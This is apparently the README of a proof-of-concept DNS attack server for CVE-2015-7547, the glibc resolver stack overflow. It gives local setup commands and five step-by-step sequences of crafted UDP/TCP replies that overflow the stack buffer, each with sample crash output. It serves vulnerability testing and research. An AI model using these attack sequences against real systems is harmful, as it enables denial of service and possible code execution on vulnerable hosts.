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Description
PoC attack server for CVE-2015-7547 buffer overflow vulnerability in glibc DNS stub resolver (public version)
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# PoC attack server for CVE-2015-7547 vulnerability in glibc DNS stub resolver
To test on local machine with a vulnerable glibc version:
```
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
```
Then, from another terminal session, execute the attacks as shown in the examples below.
## Attack 1 (UDP+TCP)
Needs ability to send replies > 2048 bytes over UDP and TCP.
Attack Sequence:
1. UDP reply, > 2048 bytes, valid header/question, TC flag set (triggers buffer mismanagement and TCP retry)
2. TCP reply, valid header/question (forces next reply to be stored in stack-allocated buffer)
3. TCP reply, > 2048 bytes (overflows stack-allocated buffer)
Example:
```
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
```
## Attack 2 (UDP only)
Needs ability to send replies > 2048 bytes over UDP.
Attack Sequence:
1. UDP reply, > 2048 bytes, invalid header (triggers buffer mismanagement, not counted as a valid response)
2. Ignore next request (triggers UDP retry due to polling timeout)
3. UDP reply, valid header/question (forces next reply to be stored in stack-allocated buffer)
4. UDP reply, > 2048 bytes (overflows stack-allocated buffer)
Example:
```
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
```
## Attack 3 (UDP+TCP)
Needs ability to send replies > 1024 bytes over UDP and > 2048 bytes over TCP.
Attack Sequence:
1. UDP reply, 1024 bytes, valid header/question (fills up half of the stack-allocated buffer)
2. UDP reply, > 1024 bytes, valid header/question, TC flag set (triggers buffer mismanagement and TCP retry)
3. TCP reply, valid header/question (forces next reply to be stored in stack-allocated buffer)
4. TCP reply, > 2048 bytes (overflows stack-allocated buffer)
Example:
```
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
```
## Attack 4 (UDP only)
Needs ability to send replies > 2048 bytes over UDP.
Attack Sequence:
1. UDP reply, 2048 bytes, valid header/question (fills up the stack-allocated buffer)
2. UDP reply (triggers buffer mismanagement and UDP retry due to 0-byte socket receive)
3. UDP reply, valid header/question (forces next reply to be stored in stack-allocated buffer)
4. UDP reply, > 2048 bytes (overflows stack-allocated buffer)
Example:
```
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
```
## Attack 5 (TCP only)
Needs ability to send replies > 2048 bytes over TCP and at least two nameserver entries in `/etc/resolv.conf`.
Attack Sequence:
0. UDP reply, valid header/question, TC flag set (optional, triggers TCP retry if initial query is over UDP)
1. TCP reply, > 2048 bytes (triggers buffer mismanagement)
2. TCP reply, empty (triggers TCP retry due to 0-byte socket receive)
3. TCP reply, valid header/question (forces next reply to be stored in stack-allocated buffer)
4. TCP reply, > 2048 bytes (overflows stack-allocated buffer)
Example:
```
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
```
## Payload Tests
To trigger a valid type A/AAAA reply of a certain size from the server, send a request for one of the following:
* payload1 (> 64 bytes)
* payload2 (> 128 bytes)
* payload3 (> 256 bytes)
* payload4 (> 512 bytes)
* payload5 (> 1024 bytes)
* payload6 (> 2048 bytes)
* payload7 (> 4096 bytes)
* payload8 (> 8192 bytes)
The requests can be issued over UDP or TCP, and the responses will contain the appropriate number of valid A or AAAA answers to pad the reply to the requested size. When the PoC server is set up as the authoritative name server for a test domain, this allows for exploring the behaviour of DNS cache hierarchies when faced with oversized replies.
Example:
```
user@localhost:/$ curl http://payload1.somedomain.com
```
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[4.0K] /data/pocs/80ea11b531708265db147f2ef22d4e39367c0e2c
├── [ 14K] attack-server.py
├── [ 14K] dnsutil.py
└── [4.2K] README.md
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